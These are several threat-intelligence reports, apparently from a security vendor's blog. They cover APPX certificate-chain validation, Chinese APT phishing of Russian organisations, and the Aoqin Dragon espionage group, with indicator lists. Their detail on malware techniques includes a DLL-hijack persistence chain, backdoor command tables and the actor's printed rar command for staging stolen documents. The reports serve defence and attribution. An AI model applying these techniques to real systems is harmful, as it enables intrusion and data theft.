If any validation by CertVerifyCertificateChainPolicy or CertGetCertificateChain fails, the AppxSvc service does not establish trust in the APPX package and terminates the installation of edge_update.appx.

To demonstrate a failed validation by CertVerifyCertificateChainPolicy, Figure 10 depicts a scenario that I crafted: The AppxSvc service executes CertVerifyCertificateChainPolicy to validate the certificates in the package signature of edge_update.appx against the CERT_CHAIN_POLICY_AUTHENTICODE (2) and CERT_CHAIN_POLICY_BASE (1) certificate validation policies. The CERT_CHAIN_POLICY_BASE policy fails the validation of the certificates due to an untrusted root certificate – the root certificate issued by DigiCert Trusted Root G4 is not present in a certificate store for trusted root certificates. This causes the AppxSvc service to terminate the installation of edge_update.appx.


Figure 10: CertVerifyCertificateChainPolicy fails the validation of the certificates in the package signature of edge_update.appx due to an untrusted root certificate

In practice, CertVerifyCertificateChainPolicy successfully validates the certificates in the package signature of the malicious edge_update.appx. This is because the root certificate, which is issued by DigiCert Trusted Root G4, is present in the Trusted Root Certification Authorities certificate store.

Revoked, or Not, That is the Question

The AppxSvc service executes the CertGetCertificateChain function to check the revocation status of the certificates in the package signature of edge_update.appx, starting from the end certificate in the certificate chain – the one issued to Foresee Consulting Inc. (see Figure 11).

Figure 11: The certificate issued to Foresee Consulting Inc. in the context of the CertGetCertificateChain function (in ASN.1 format)

AppxSvc executes CertGetCertificateChain such that the function verifies the revocation status of all certificates in the certificate chain, including the root certificate – the dwFlags parameter of CertGetCertificateChain has the value of 0x20000000 (CERT_CHAIN_REVOCATION_CHECK_CHAIN, see Figure 12).

Figure 12: CertGetCertificateChain verifies the revocation status of all certificates in the certificate chain

Prior to the revocation of the end certificate issued to Foresee Consulting Inc., CertGetCertificateChain did not indicate an issue with the certificate chain in the package signature of edge_update.appx. This resulted in the AppxSvc service completing the installation of the malicious APPX package and therefore compromising the system. Windows places installed Windows Apps in the %ProgramFiles%\WindowsApps directory (see Figure 13).

Figure 13: The AppxSvc service has completed the installation of the malicious edge_update.appx

After the revocation of the end certificate, CertGetCertificateChain indicates that a certificate in the package signature of edge_update.appx has been revoked by storing the CERT_TRUST_IS_REVOKED (0x00000004) error code in a CERT_TRUST_STATUS structure (see Figure 14). This results in the AppxSvc service terminating the installation of the malicious APPX package with an error (see Figure 15).

Figure 14: CertGetCertificateChain stores the CERT_TRUST_IS_REVOKED (0x00000004) error code in a CERT_TRUST_STATUS structure
Figure 15: The AppxSvc service terminates the installation of the malicious edge_update.appx with an error

Recommendations for Users and Administrators

For Windows to install a Windows App that is packaged, for example, into an APPX package, the system first has to establish trust in the package. To this end, Windows verifies the data integrity of the package based on the package signature and evaluates whether the package satisfies certain trust criteria. Some of the trust criteria that relate to the certificates in the package signature are the following:

  • If Windows App sideloading is not enabled on the system, the APPX package must originate from the Microsoft Store and be therefore counter-signed by Microsoft. App sideloading is not enabled by default on recent Windows versions. However, organizations may enable App sideloading on their managed devices or ask customers to turn App sideloading on in order to enable the deployment of Windows Apps built specifically for internal or customer use. These Windows Apps are known as LOB (line-of-business) Windows Apps.
  • If Windows App sideloading is enabled on the system, the APPX package must be signed such that:
    • The system trusts the root certificate of the certificate chain in the signature – the certificate must be present in a certificate store for trusted root certificates.
    • No certificate in the chain is revoked at package installation time.

The majority of the malicious APPX packages that the security community has observed as part of attacks have satisfied the criteria above.

Recommendations for users and administrators for protecting against attacks that involve malware delivery via malicious Windows Apps include the following:

  • For users:
    • Avoid downloading Windows Apps from the Microsoft Store without thoroughly examining relevant information, such as App vendor details, and number and quality of published user reviews. Be careful about typosquatting attempts – malicious Windows Apps with names that are very similar to legitimate, popular Windows Apps. Typosquatting is popular among malicious actors. Attackers have recently managed to plant malicious Windows Apps in the Microsoft Store. In addition, SentinelLabs has recently investigated typosquatting attacks against the crates.io Rust and the PyPI Python software repositories, referred to as CrateDepression and Pymafka.
    • Stay vigilant against phishing attacks and avoid installing software and software updates from unknown sources. Malicious Windows Apps often come under the disguise of critical software updates.
  • For administrators: Malicious actors often use compromised legitimate code signing material, with end certificates that chain to trusted root certificates, to sign malicious Windows Apps. As this article shows, this enables the installation of the malicious App packages on victim systems. Therefore:
    • Make sure that the systems under your management can timely and correctly verify whether a certificate has been revoked. This includes unrestricted access to CRL (Certificate Revocation List) and OCSP (Online Certificate Status Protocol) URLs, and/or up-to-date local CRL and OCSP caches. Certificate revocation is a crucial measure against the malicious Windows App threat.
    • Make sure that the code signing material of your organization is kept secure. This is to prevent malicious actors from distributing malware masquerading as Windows Apps that originate from your organization.

Targets of Interest | Russian Organizations Increasingly Under Attack By Chinese APTs

7 July 2022 at 10:58

Executive Summary

  • SentinelLabs has identified a new cluster of threat activity targeting Russian organizations.
  • We assess with high-confidence that the threat actor responsible for the attacks is a Chinese state-sponsored cyber espionage group, as also recently noted by Ukraine CERT (CERT-UA).
  • The attacks use phishing emails to deliver Office documents to exploit targets in order to deliver their RAT of choice, most commonly Bisonal.
  • SentinelLabs has also identified associated activity targeting telecommunication organizations in Pakistan leveraging similar attack techniques.

Overview

On June 22nd 2022, CERT-UA publicly released Alert #4860, which contains a collection of documents built with the Royal Road malicious document builder, themed around Russian government interests. SentinelLabs has conducted further analysis of CERT-UA’s findings and has identified supplemental Chinese threat activity.

China’s recent intelligence objectives against Russia can be observed in multiple campaigns following the invasion of Ukraine, such as Scarab, Mustang Panda, ‘Space Pirates’, and now the findings here. ​​Our analysis indicates this is a separate Chinese campaign, but specific actor attribution is unclear at this time.

While the overlap of publicly reported actor names inevitably muddies the picture, it remains clear that the Chinese intelligence apparatus is targeting a wide range of Russian-linked organizations. Our findings currently offer only an incomplete picture of this threat cluster’s phishing activity, but they serve to provide perspective into an attacker’s ongoing operational objectives and a framework for our ongoing research.

Malicious Documents Targeting Russia

On June 22nd , Ukraine’s CERT-UA reported several RTF documents containing malicious code exploiting one or more vulnerabilities in MS Office. CERT-UA assessed that the documents, “Vnimaniyu.doc”, “17.06.2022_Protokol_MRG_Podgruppa_IB.doc”, and “remarks table 20.06.2022_obraza”, were likely built with the Royal Road builder and dropped the Bisonal backdoor. Royal Road is a malicious document builder used widely by Chinese APT groups, while Bisonal is a backdoor RAT unique to Chinese threat actors.

The CERT-UA advisory followed public reporting by our colleagues from nao_sec and Malwarebytes, who identified some of the first indicators and shared related samples and C2 servers. Building off this initial intelligence, SentinelLabs discovered a further related cluster of activity.

Timeline of Royal Road Malicious Documents

As we have observed over the years, Royal Road documents follow content themes relevant to their targets. Following that practice, it’s reasonable to assume that the targets in this recent cluster of activity are likely Russian government organizations.

One example of this cluster (f599ed4ecb6c61ef2f2692d1a083e3bb040f95e6) is a fake document mimicking a RU-CERT memo on increased phishing attacks.

Malicious document mimicking RU-CERT
Malicious document mimicking RU-CERT (Translated)

Another example is themed around telecommunication organizations (415ce2db3957294d73fa832ed844940735120bae).

Malicious Document – Russia Telecom Theme – “Пояснительная записка к ЗНИ.doc”
Malicious Document – Russia Telecom Theme – “Пояснительная записка к ЗНИ.doc” (Translated)

The example documents shown above both exploit CVE-2018-0798, a remote execution vulnerability in Microsoft Office to install the embedded malware.

Attribution to Chinese Threat Groups

The collection of files and infrastructure noted above could be considered related to the Tonto Team APT group (aka “CactusPete”, “Earth Akhlut”), a Chinese threat group that has been reported on for nearly ten years. However, we assess that link with only medium confidence due to the potential for shared attacker resources that could muddy attribution based on the currently available data. Known targets span the globe, with a particular interest in Northeast Asia, including governments, critical infrastructure, and other private businesses.

The attacker continues their long history of Russian targeting; however, the rate of Russian and Russia-relevant targets in recent weeks may indicate increased prioritization.

There are multiple connections of this activity to Chinese threat actors. As noted above, the documents are built with a commonly known malicious document builder used widely by Chinese APT groups, the shared toolkit often referred to as the “Royal Road” or the “8.t” builder.

These documents often contain metadata indicating the document creator’s operating system was using simplified Chinese, a trait we observed in our previous analysis of Scarab APT activity.

The malicious documents are generally used for the delivery of custom malware, such as the Bisonal RAT, which as noted by CERT-UA, is unique to Chinese groups, including Tonto Team. Bisonal has a uniquely long history of use and continued development by its creators, such as expanding features for file searching and exfiltration, anti-analysis and detection techniques, and maintaining generally unrestricted system control.

Additionally, the collection of C2 infrastructure associated with these various samples fall under a larger umbrella of known Chinese APT activity.

Related Activity of Interest

It’s also worth noting that there are still ongoing related attacks focused on non-Russian organizations, such as those against Pakistan.

For example, one file uploaded to VirusTotal (91ca78231bcacab0d5e6194041817b96252e65bf) from Pakistan is a May 2022 email message file to the Pakistan Telecommunication Authority, sent from a potentially compromised account in the Cabinet Division of the Pakistani government. This email contains the Royal Road attachment “Please help to Check.doc” (f444ff2386cd3ada204c3224463f4be310e5554a), dropping 85fac143c52e26c22562b0aaa80ffe649640bd29 and beaconing outbound to instructor.giize[.]com (198.13.56[.]122).

Phishing email containing malicious document

Conclusion

We assess with high confidence that the Royal Road-built malicious documents, delivered malware, and associated infrastructure are attributable to Chinese threat actors. Based on our observations, there’s been a continued effort to target Russian organizations by this cluster through well-known attack methods– the use of malicious documents exploiting n-day vulnerabilities with lures specifically relevant to Russian organizations. Overall, the objectives of these attacks appear espionage-related, but the broader context remains unavailable from our standpoint of external visibility.

Indicators of Compromise

IOC Description
f599ed4ecb6c61ef2f2692d1a083e3bb040f95e6 6/21/2022 Royal Road Document”Вниманию.doc”
cb8eb16d94fd9242baf90abd1ef1a5510edd2996 6/16/2022  Royal Road Document “Вниманию.doc”
41ebc0b36e3e3f16b0a0565f42b0286dd367a352 6/15/2022 (Estimate) Royal Road Document”Анкетирование Агентства по делам государственной службы.rtf”
2abf70f69a289cc99adb5351444a1bd23fd97384 6/20/2022 Royal Road Document”17.06.2022_Протокол_МРГ_Подгруппа_ИБ.doc”
supportteam.lingrevelat[.]com C2 Domain
upportteam.lingrevelat[.]com C2 Domain for cb8eb16d94fd9242baf90abd1ef1a5510edd2996
2b7975e6b1e9b72e9eb06989e5a8b1f6fd9ce027 6/21/2022 Royal Road Document”О_формировании_проекта_ПНС_2022_файл_отображен.doc”
a501fec38f4aca1a57393b6e39a52807a7f071a4 6/21/2022 Royal Road Document”замечания таблица 20.06.2022.doc”
415ce2db3957294d73fa832ed844940735120bae 6/23/2022 Royal Road Document”Пояснительная записка к ЗНИ.doc”
news.wooordhunts[.]com C2 Domain for 415ce2db3957294d73fa832ed844940735120bae
137.220.176[.]165 IP Resolved for C2 Domains news.wooordhunts[.]com supportteam.lingrevelat[.]com upportteam.lingrevelat[.]com
1c848911e6439c14ecc98f2903fc1aea63479a9f 6/23/2022 Royal Road Document”РЭН 2022.doc”
91ca78231bcacab0d5e6194041817b96252e65bf 5/12/2022 Phishing Email File
f444ff2386cd3ada204c3224463f4be310e5554a 5/12/2022 Royal Road Document”Please help to Check.doc”
instructor.giize[.]com C2 Server for f444ff2386cd3ada204c3224463f4be310e5554a

Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years

9 June 2022 at 10:58

Executive Summary

  • Aoqin Dragon, a threat actor SentinelLabs has been extensively tracking, has operated since 2013 targeting government, education, and telecommunication organizations in Southeast Asia and Australia.
  • Aoqin Dragon seeks initial access primarily through document exploits and the use of fake removable devices.
  • Other techniques the attacker has been observed using include DLL hijacking, Themida-packed files, and DNS tunneling to evade post-compromise detection.
  • Based on our analysis of the targets, infrastructure and malware structure of Aoqin Dragon campaigns, we assess with moderate confidence the threat actor is a small Chinese-speaking team with potential association to UNC94 (Mandiant).

Overview

SentinelLabs has uncovered a cluster of activity beginning at least as far back as 2013 and continuing to the present day, primarily targeting organizations in Southeast Asia and Australia. We assess that the threat actor’s primary focus is espionage and relates to targets in Australia, Cambodia, Hong Kong, Singapore, and Vietnam. We track this activity as ‘Aoqin Dragon’.

The threat actor has a history of using document lures with pornographic themes to infect users and makes heavy use of USB shortcut techniques to spread the malware and infect additional targets. Attacks attributable to Aoqin Dragon typically drop one of two backdoors, Mongall and a modified version of the open source Heyoka project.

Threat Actor Infection Chain

Throughout our analysis of Aoqin Dragon campaigns, we observed a clear evolution in their infection chain and TTPs. We divide their infection strategy into three parts.

  1. Using a document exploit and tricking the user into opening a weaponized Word document to install a backdoor.
  2. Luring users into double-clicking a fake Anti-Virus to execute malware in the victim’s host.
  3. Forging a fake removable device to lure users into opening the wrong folder and installing the malware successfully on their system.

Initial Access via Exploitation of Old and Unpatched Vulnerabilities

During 2012 to 2015, Aoqin Dragon relied heavily on CVE-2012-0158 and CVE-2010-3333 to compromise their targets. In 2014, FireEye published a blog detailing related activity using lure documents themed around the disappearance of Malaysia Airlines Flight MH370 to conduct their attacks. Although those vulnerabilities are very old and were patched before being deployed by Aoqin Dragon, this kind of RTF-handling vulnerability decoy was very common in that period.

There are three interesting points that we discovered from these decoy documents. First, most decoy content is themed around targets who are interested in APAC political affairs. Second, the actors made use of lure documents themed to pornographic topics to entice the targets. Third, in many cases, the documents are not specific to one country but rather the entirety of Southeast Asia.

APAC Themed Lure Document

Pornographic-themed Lure Document

Executables Masked With Fake Icons

The threat actor developed executable files masked with document file icons such as Windows folders and Anti-Virus vendor icons, acting as droppers to execute a backdoor and connect to the C2 server. Although executable files with fake file icons have been in use by a variety of actors, it remains an effective tool especially for APT targets. Combined with “interesting” email content and a catchy file name, users can be socially engineered into clicking on the file.

Executable dropper with different fake security product icons

Typically, a script containing a rar command is embedded in the executable dropper with different fake security product icons. Based on the script contained in the executable, we can identify the main target type of document formats they were trying to find, such as Microsoft Word documents.

rar.exe a -apC -r -ed -tk -m5 -dh -tl -hpThis0nePiece -ta20180704 C:\DOCUME~1\ALLUSE~1\DRM\Media\B9CC6F75.ldf C:\*.doc C:\*.DOCX

Moreover, the dropper employs a worm infection strategy using a removable device to carry the malware into the target’s host and facilitate a breach into the secure network environment. We also found the same dropper deploying different backdoors including the Mongall backdoor and a modified Heyoka backdoor.

Removable Device as an Initial Vector

From 2018 to present, this actor has also been observed using a fake removable device as an initial infection vector. Over time, the actor upgraded the malware to protect it from being detected and removed by security products.

Here’s a summary of the attack chain of recent campaigns:

  1. A Removable Disk shortcut file is made which contains a specific path to initiate the malware.
  2. When a user clicks the fake device, it will execute the “Evernote Tray Application” and use DLL hijacking to load the malicious encrashrep.dll loader as explorer.exe.
  3. After executing the loader, it will check if it is in any attached removable devices.
  4. If the loader is not in the removable disk, it will copy all the modules under "%USERPROFILE%\AppData\Roaming\EverNoteService\", which includes normal files, the backdoor loader and an encrypted backdoor payload.
  5. The malware sets the auto start function with the value “EverNoteTrayUService”. When the user restarts the computer, it will execute the “Evernote Tray Application” and use DLL hijacking to load the malicious loader.
  6. The loader will check the file path first and decrypt the payloads. There are two payloads in this attack chain: the first payload is the spreader, which copies all malicious files to removable devices; the second one is an encrypted backdoor which injects itself into rundll32’s memory.
Newest infection chain flow
Using USB shortcut techniques to spread the malware and infect target victims
Use a shortcut file to fake removable disc icon and change Evernote application name to RemovableDisc.exe

The spreader component will try to find the removable device in the victim’s environment. This malware component will copy all the malicious modules to any removable device to spread the malware in the target’s network environment, excluding Drive A. The threat actor names this component “upan”, which we observe in the malware’s PDB strings.

C:\Users\john\Documents\Visual Studio 2010\Projects\upan_dll_test\Debug\upan.pdb

Malware Analysis

Aoqin Dragon rely heavily on the DLL hijacking technique to compromise targets and run their malware of choice. This includes their newest malware loader, Mongall backdoor, and a modified Heyoka backdoor.

DLL-test.dll Loader

The DLL-test.dll loader is notable because it is used to initiate the infection chain. When a victim has been compromised, DLL-test.dll will check that the host drive is not A and test whether the drive is removable media or not. After these checks are complete, the loader opens the Removable Disk folder to simulate normal behavior. It then copies all modules from the removable drive to the “EverNoteService” folder. The loader will set up an auto start for “EverNoteTrayService” as a form of persistence following reboots.

After decrypting the encrypted payload, DLL-test.dll will execute rundll32.exe and run specific export functions. The loader injects the decrypted payload into memory and runs it persistently. The payload we found in this operation included a Mongall backdoor and a modified Heyoka backdoor.

We found that the code injection logic is identical to that in the book WINDOWS黑客编程技术详解 (Windows Hacking Programming Techniques Explained), Chapter 4, Section 3, which describes how to use memory to directly execute a DLL file. We also found the same code on GitHub. A debug string inside the DLL-test loader provides further evidence that this is the source of the code in the malware.

C:\users\john\desktop\af\dll_test_hj3\dll_test\memloaddll.cpp
C:\users\john\desktop\af\dll_test_hj3 -不过uac 不写注册表\dll_test\memloaddll.cpp
C:\users\john\desktop\af\dll_test - upan -单独 - 老黑的版本\dll_test\memloaddll.cpp

As stated above, the debug strings inside DLL-test.dll loader provide interesting information about Aoqin Dragon TTPs. The loaders contain both debug strings and embedded PDB strings that give us further information of this loader’s features and which backdoor will be decrypted. For instance, “DLL_test loader for Mongall”, “DLL_test loader for Mongall but can’t bypass UAC and can’t add itself to registry”, “DLL-test loader for upan component” and “DLL-test for DnsControl”, which is a modified Heyoka backdoor.

C:\Documents and Settings\Owner\桌面\DLL_test\Release\DLL_test.pdb
C:\Users\john\Desktop\af\DLL_test_hj3\Debug\DLL_test.pdb
C:\Users\john\Desktop\af\DLL_test - upan -单独 - 老黑的版本\Debug\DLL_test.pdb
C:\Users\john\Desktop\af\DLL_test - upan -单独 - 老黑的版本\Release\DLL_test.pdb
C:\Users\john\Desktop\af\DLL_test_hj3 -不过UAC 不写注册表\Debug\DLL_test.pdb
D:\2018\DnsControl\DNS20180108\DLL_test\Release\DLL_test.pdb

Mongall Backdoor

Mongall is a small backdoor going back to 2013, first described in a report by ESET. According to the report, the threat actor was trying to target the Telecommunications Department and the Vietnamese government. More recently, Aoqin Dragon has been reported targeting Southeast Asia with an upgraded Mongall encryption protocol and Themida packer.

Mongall backdoor has four different mutexes and different notes in each backdoors – notes are shown in the IOC table. Based on the notes, we can estimate malware creation time, intended targets, Mongall backdoor versions and related C2 domain name.

The backdoor mutex and information collection

The actors name this backdoor HJ-client.dll, and the backdoor name matches the PDB strings mentioned earlier. In addition, there are some notes containing “HJ” strings inside the backdoor.

Although Mongall is not particularly feature rich, it is still an effective backdoor. It can create a remote shell, upload files to the victim’s machine and download files to the attacker’s C2. Most important of all, this backdoor embedded three C2 servers for communication. Below is the Mongall backdoor function description and command code.

Mongall backdoor function capability

We discovered that the Mongall backdoor’s network transmission logic could be found on the Chinese Software Developer Network (CSDN). Compared to the old Mongall backdoor, the new version upgrades the encryption mechanism. However, new versions of Mongall still use GET protocol to send the information back with RC4 to encrypt or base64 to encode the victim machine’s information. There is another interesting finding when we analyze Mongall backdoor: the encryption or encode logic is compared to the mutex of Mongall. Here is the table of mutex and transform data logic.

Mutex Algorithm
Flag_Running Base64 (type 3)
Download_Flag Base64 (type 3)
Running_Flag Base64 (type 3)
Flag_Runnimg_2810 Modify base64 (type 2)
Flag_Running_2016 Modify base64 (type 2)
Flag_Running_2014RC4 RC4+base64 (type 1)

Faking a C2 server allowed us to capture Mongall beacon messages and develop a Python decryption script to reveal each version of the message. Alongside this report, we are publicly releasing the script here. Below shows the encrypted strings and description beacon information.

Decrypting the embedded beacon information

Modified Heyoka Backdoor

We also observed another backdoor used by this threat actor. This backdoor is totally different from Mongall, as we found it is based on the Heyoka open source project. Heyoka is a proof-of-concept of an exfiltration tool which uses spoofed DNS requests to create a bidirectional tunnel. The threat actors modified and redesigned this tool to be a custom backdoor using DLL injection technique to deploy it in the victim’s environment. Simplified Chinese characters can be found in its debug log.

Left:the modified backdoor information; Right: the Heyoka source code
Debug information with simplified Chinese characters

This backdoor was named srvdll.dll by its developers. They not only expanded its functionality but also added two hardcoded C2s. The backdoor checks if it is run as system service or not, to make sure it has sufficient privileges and to keep itself persistent. The modified Heyoka backdoor is much more powerful than Mongall. Although both have shell ability, the modified Heyoka backdoor is generally closer to a complete backdoor product. The commands available in the modified Heyoka backdoor are tabulated below.

Command code Description
0x5 open a shell
0x51 get host drive information
0x3 search file function
0x4 input data in an exit file
0x6 create a file
0x7 create a process
0x9 get all process information in this host
0x10 kill process
0x11 create a folder
0x12 delete file or folder
Hardcoded command and control server in modified Heyoka backdoor
Backdoor with the DNS tunneling connection

Attribution

Throughout the analysis of Aoqin Dragon operations, we came across several artifacts linking the activity to a Chinese-speaking APT group as detailed in the following sections.

Infrastructure

One of Mongall’s backdoors was observed by Unit42 in 2015. They claim the president of Myanmar’s website had been used in a watering hole attack on December 24, 2014. The attacker injected a JavaScript file with a malicious iframe to exploit the browsers of website visitors. In addition, they were also aware that another malicious script had been injected into the same website in November 2014, leveraging CVE-2014-6332 to download a trojan horse to the target’s host.

In 2013, there was a News talk about this group and the results of a police investigation. Police retrieved information from the C2 server and phishing mail server operators located in Beijing, China. The two primary backdoors used in this operation have overlapping C2 infrastructure, and most of the C2 servers can be attributed to Chinese-speaking users.

Two major backdoor C2s overlap
C2 attributed to Chinese-speaking users

Targeting and Motives

The targeting of Aoqin Dragon closely aligns with the Chinese government’s political interests. We primarily observed Aoqin Dragon targeting government, education, and telecommunication organizations in Southeast Asia and Australia.

Considering this long-term effort and continuous targeted attacks for the past few years, we assess the threat actor’s motives are espionage-oriented.

Conclusion

Aoqin Dragon is an active cyberespionage group that has been operating for nearly a decade. We have observed the Aoqin Dragon group evolve TTPs several times in order to stay under the radar. We fully expect that Aoqin Dragon will continue conducting espionage operations. In addition, we assess it is likely they will also continue to advance their tradecraft, finding new methods of evading detection and stay longer in their target network. SentinelLabs continues to track this activity cluster to provide insight into their evolution.

Indicators of Compromise

SHA1 Malware Family
a96caf60c50e7c589fefc62d89c27e6ac60cdf2c Mongall
ccccf5e131abe74066b75e8a49c82373414f5d95 Mongall
5408f6281aa32c02e17003e0118de82dfa82081e Mongall
a37bb5caa546bc4d58e264fe55e9e9155f36d9d8 Mongall
779fa3ebfa1af49419be4ae80b54096b5abedbf9 Mongall
2748cbafc7f3c9a3752dc1446ee838c5c5506b23 Mongall
eaf9fbddf357bdcf9a5c7f4ad2b9e5f81f96b6a1 Mongall
6380b7cf83722044558512202634c2ef4bc5e786 Mongall
31cddf48ee612d1d5ba2a7929750dee0408b19c7 Mongall
677cdfd2d686f7148a49897b9f6c377c7d26c5e0 Mongall
911e4e76f3e56c9eccf57e2da7350ce18b488a7f Mongall
c6b061b0a4d725357d5753c48dda8f272c0cf2ae Mongall
dc7436e9bc83deea01e44db3d5dac0eec566b28c Mongall
5cd555b2c5c6f6c6c8ec5a2f79330ec64fab2bb0 Mongall
668180ed487bd3ef984d1b009a89510c42c35d06 Mongall
28a23f1bc69143c224826962f8c50a3cf6df3130 Mongall
ab81f911b1e0d05645e979c82f78d92b0616b111 Mongall
47215f0f4223c1ecf8cdeb847317014dec3450fb Mongall
061439a3c70d7b5c3aed48b342dda9c4ce559ea6 Mongall
aa83d81ab543a576b45c824a3051c04c18d0716a Mongall
43d9d286a38e9703c1154e56bd37c5c399497620 Mongall
435f943d20ab7b3ecc292e5b16683a94e50c617e Mongall
94b486d650f5ca1761ee79cdff36544c0cc07fe9 Mongall
1bef29f2ab38f0219b1dceb5d37b9bda0e9288f5 Mongall
01fb97fbb0b864c62d3a59a10e785592bb26c716 Mongall
03a5bee9e9686c18a4f673aadd1e279f53e1c68f Mongall
1270af048aadcc7a9fc0fd4a82b9864ace0b6fb6 Mongall
e2e7b7ba7cbd96c9eec1bcb16639dec87d06b8dd Mongall
08d22a045f4b16a2939afe029232c6a8f74dcde2 Mongall
96bd0d29c319286afaf35ceece236328109cb660 Mongall
6cd9886fcb0bd3243011a1f6a2d1dc2da9721aec Mongall
271bd3922eafac4199322177c1ae24b1265885e8 Mongall
e966bdb1489256538422a9eb54b94441ddf92efc Mongall
134d5662f909734c1814a5c0b4550e39a99f524b Mongall
93eb2e93972f03d043b6cf0127812fd150ca5ec5 Mongall
a8e7722fba8a82749540392e97a021f7da11a15a Mongall
436a4f88a5c48c9ee977c6fbcc8a6b1cae35d609 Mongall
ab4cd6a3a4c1a89d70077f84f79d5937b31ebe16 Mongall
8340a9bbae0ff573a2ea103d7cbbb34c20b6027d Mongall
31b37127440193b9c8ecabedc214ef51a41b833c Mongall
ed441509380e72961b263d07409ee5987820d7ae Mongall
45d156d2b696338bf557a509eaaca9d4bc34ba4a Mongall
bac8248bb6f4a303d5c4e4ce0cd410dc447951ea Mongall
15350967659da8a57e4d8e19368d785776268a0e Mongall
008dd0c161a0d4042bdeb1f1bd62039a9224b7f0 Mongall
7e1f5f74c1bf2790c8931f578e94c02e791a6f5f Mongall
16a59d124acc977559b3126f9ec93084ca9b76c7 Mongall
38ba46a18669918dea27574da0e0941228427598 Mongall
38ba46a18669918dea27574da0e0941228427598 Mongall
19814580d3a3a87950fbe5a0be226f9610d459ed Mongall
d82ebb851db68bce949ba6151a7063dab26a4d54 Mongall
0b2956ad5695b115b330388a60e53fb13b1d48c3 Mongall
7fb2838b197981fbc6b5b219d115a288831c684c Mongall
af8209bad7a42871b143ad4c024ed421ea355766 Mongall
72d563fdc04390ba6e7c3df058709c652c193f9c Mongall
db4b1507f8902c95d10b1ed601b56e03499718c5 Mongall
f5cc1819c4792df19f8154c88ff466b725a695f6 Mongall
86e04e6a149fd818869721df9712789d04c84182 Mongall
a64fbd2e5e47fea174dd739053eec021e13667f8 Mongall
d36c3d857d23c89bbdfefd6c395516a68ffa6b82 Mongall
d15947ba6d65a22dcf8eff917678e2b386c5f662 Mongall
5fa90cb49d0829410505b78d4037461b67935371 Mongall
f2bf467a5e222a46cd8072043ce29b4b72f6a060 Mongall
e061de5ce7fa02a90bbebf375bb510158c54a045 Mongall
4e0b42591b71e35dd1edd2e27c94542f64cfa22f Mongall
330402c612dc9fafffca5c7f4e97d2e227f0b6d4 Mongall
5f4cd9cd3d72c52881af6b08e58611a0fe1b35bf Mongall
2de1184557622fa34417d2356388e776246e748a Mongall
9a9aff027ad62323bdcca34f898dbcefe4df629b Mongall
9cd48fddd536f2c2e28f622170e2527a9ca84ee0 Mongall
2c99022b592d2d8e4a905bacd25ce7e1ec3ed3bb Mongall
69e0fcdc24fe17e41ebaee71f09d390b45f9e5c2 Mongall
a2ea8a9abf749e3968a317b5dc5b95c88edc5b6f Mongall
0a8e432f63cc8955e2725684602714ab710e8b0a Mongall
309accad8345f92eb19bd257cfc7dd8d0c00b910 Mongall
89937567c575d38778b08289876b938a0e766f14 Mongall
19bd1573564fe2c73e08dce4c4ad08b2161e0556 Mongall
a1d0c96db49f1eef7fd71cbed13f2fb6d521ab6a Mongall
936748b63b1c9775cef17c8cdbba9f45ceba3389 Mongall
46d54a3de7e139b191b999118972ea394c48a97f Mongall
4786066b29066986b35db0bfce1f58ec8051ba6b Mongall
b1d84d33d37526c042f5d241b94f8b77e1aa8b98 Mongall
7bb500f0c17014dd0d5e7179c52134b849982465 Mongall
d1d3219006fdfd4654c52e84051fb2551de2373a Mongall
0ffa5e49f17bc722c37a08041e6d80ee073d0d8f Mongall
dceecf543f15344b875418ad086d9706bfef1447 Mongall
fa177d9bd5334d8e4d981a5a9ab09b41141e9dcc Mongall
07aab5761d56159622970a0213038a62d53743c2 Mongall
d83dde58a510bdd3243038b1f1873e7da3114bcf Mongall
a0da713ee28a17371691aaa901149745f965eb90 Mongall
c5b644a33fb027900111d5d4912e28b7dcce88ff Mongall
db5437fec902cc1bcbad4bef4d055651e9926a89 Mongall
ff42d2819c1a73e0032df6c430f0c67582adba74 Mongall
3b2d858c682342127769202a806e8ab7f1e43173 Mongall
c08bf3ae164e8e9d1d9f51dffcbe7039dce4c643 Mongall
f41d1966285667e74a419e404f43c7693f3b0383 Mongall
3ccb546f12d9ed6ad7736c581e7a00c86592e5dd Mongall
904556fed1aa00250eee1a69d68f78c4ce66a8dc Mongall
bd9dec094c349a5b7d9690ab1e58877a9f001acf Mongall
87e6ab15f16b1ed3db9cc63d738bf9d0b739a220 Mongall
f8fc307f7d53b2991dea3805f1eebf3417a7082b Mongall
ece4c9fc15acd96909deab3ff207359037012fd5 Mongall
7fdfec70c8daae07a29a2c9077062e6636029806 Mongall
17d548b2dca6625271649dc93293fdf998813b21 Mongall
6a7ac7ebab65c7d8394d187aafb5d8b3f7994d21 Mongall
fee78ccadb727797ddf51d76ff43bf459bfa8e89 Mongall
4bf58addcd01ab6eebca355a5dda819d78631b44 Mongall
fd9f0e40bf4f7f975385f58d120d07cdd91df330 Mongall
a76c21af39b0cc3f7557de645e4aaeccaf244c1e Mongall
7ff9511ebe6f95fc73bc0fa94458f18ee0fb395d Mongall
97c5003e5eacbc8f5258b88493f148f148305df5 Mongall
f92edf91407ab2c22f2246a028e81cf1c99ce89e Mongall
d932f7d11f8681a635e70849b9c8181406675930 Mongall
b0b13e9445b94ed2b69448044fbfd569589f8586 Mongall
b194b26de8c1f31b0c075ceb0ab1e80d9c110efc Mongall
df26b43439c02b8cd4bff78b0ea01035df221f68 Mongall
60bd17aa94531b89f80d7158458494b279be62b4 Mongall
33abee43acfe25b295a4b2accfaf33e2aaf2b879 Mongall
c87a8492de90a415d1fbe32becbafef5d5d8eabb Mongall
68b731fcb6d1a88adf30af079bea8efdb0c2ee6e Mongall
cf7c5d32d73fb90475e58597044e7f20f77728af Mongall
1ab85632e63a1e4944128619a9dafb6405558863 Mongall
1f0d3c8e373c529a0c3e0172f5f0fb37e1cdd290 Mongall
f69050c8bdcbb1b5f16ca069e231b66d52c0a652 Mongall
6ff079e886cbc6be0f745b044ee324120de3dab2 Mongall
8c90aa0a521992d57035f00d3fbdfd0fa7067574 Mongall
5e32a5a5ca270f69a3bf4e7dd3889b0d10d90ec2 Mongall
0db3626a8800d421c8b16298916a7655a73460de Mongall
01751ea8ac4963e40c42acfa465936cbe3eed6c2 Mongall
6b3032252b1f883cbe817fd846181f596260935b Dropper
741168d01e7ea8a2079ee108c32893da7662bb63 Dropper
b9cc2f913c4d2d9a602f2c05594af0148ab1fb03 Dropper
c7e6f7131eb71d2f0e7120b11abfaa3a50e2b19e Dropper
ae0fdf2ab73e06c0cd04cf79b9c5a9283815bacb Dropper
67f2cd4f1a60e1b940494812cdf38cd7c0290050 Dropper
